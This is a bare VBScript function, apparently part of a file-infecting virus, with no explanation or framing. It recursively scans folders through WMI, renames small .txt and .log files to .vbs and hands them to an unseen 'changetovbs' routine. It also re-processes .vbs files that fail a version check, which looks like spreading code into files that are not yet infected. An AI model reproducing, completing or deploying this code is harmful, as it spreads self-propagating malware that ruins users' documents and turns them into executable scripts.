Function wmisfile(path_sf,justcnt)
 'On Error Resume Next
 StrComputer = "."
 Set ObjWMIService = GetObject("winmgmts:\\" & StrComputer & "\root\cimv2")
 Set FileList = objWMIService.ExecQuery _
 ("ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _
  & "ResultClass = CIM_DataFile")
 For Each objFile In FileList
  fname = LCase(objfile.name)
  ename = LCase(objfile.extension)
  If 1 < objfile.filesize And objfile.filesize <= 50000 Then
   Select Case ename
    Case "txt","log"
    path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs"
    objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs")
    Call changetovbs(path_vbs,path_vbs)
    justcnt = justcnt + 1
    Case "vbs"
    If checkversion(fname) = False Then
     Call changetovbs(fname,fname)
     justcnt = justcnt + 1
    End If
   End Select
  End If
 Next
 Set colSubfolders = objWMIService.ExecQuery _
 ("Associators of {Win32_Directory.Name='" & path_sf & "'} " _
  & "Where AssocClass = Win32_Subdirectory " _
  & "ResultRole = PartComponent")
 For Each objFolder In colSubfolders
  wmisfile objfolder.name,justcnt
 Next
End Function